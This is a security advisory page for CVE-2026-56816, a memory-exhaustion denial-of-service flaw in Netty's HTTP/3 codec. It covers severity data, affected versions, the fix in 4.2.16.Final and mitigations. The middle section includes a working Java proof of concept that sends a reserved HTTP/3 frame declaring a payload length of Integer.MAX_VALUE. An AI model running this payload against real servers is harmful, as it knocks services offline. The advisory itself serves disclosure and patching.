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HIGH severity

CVE-2026-56816 — netty-codec-http3

HIGHFix: netty/netty@5b68c61

CVE-2026-56816 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in io.netty:netty-codec-http3. A fix is available for io.netty:netty-codec-http3 — see the affected versions and patch details below.

Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

Also known asGHSA-hpcc-26xq-25fv
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56816.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk
0.02%0.40%0.77%1.14%0.5%0.5%0.6%0.6%0.6%Aug 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
☕io.netty:netty-codec-http3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details

io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

                // Handling reserved frame types
                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
                if (in.readableBytes() < payLoadLength) {
                    return 0;
                }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            cause.printStackTrace();
                                            ctx.close();
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();

            // Write reserved frame type (64)
            header.writeByte(0x40);
            header.writeByte(0x40);

            // Write payload length (Integer.MAX_VALUE)
            header.writeByte(0xC0);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x7F);
            header.writeByte(0xFF);
            header.writeByte(0xFF);
            header.writeByte(0xFF);

            rawStream.write(header);

            // Write the maximum allowed payload
            int payloadSize = 1_000_000;
            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
            rawStream.writeAndFlush(payload).sync();

            assertTrue(quicChannel.isActive());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-http3all versions4.2.16.Finalio.netty:netty-codec-http3:4.2.16.Final

Affected Products

1 product · 1 configurations
Application
nettynetty
≥ 4.2.2 && < 4.2.16
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-http3 to 4.2.16.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56816 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This denial of service vulnerability in Netty's HTTP/3 implementation can lead to memory exhaustion in affected Red Hat OpenShift AI deployments. An unauthenticated remote attacker could exploit this by sending specially crafted HTTP/3 reserved frames with large payload lengths, potentially disrupting service…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-56816 (CC BY 4.0)

Frequently Asked Questions

### Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened. ### Details `io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows: ```java
O3 Security · Impact-Aware SCA

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CVE-2026-56816: netty-codec DoS — Fixed in 4.2.16.Final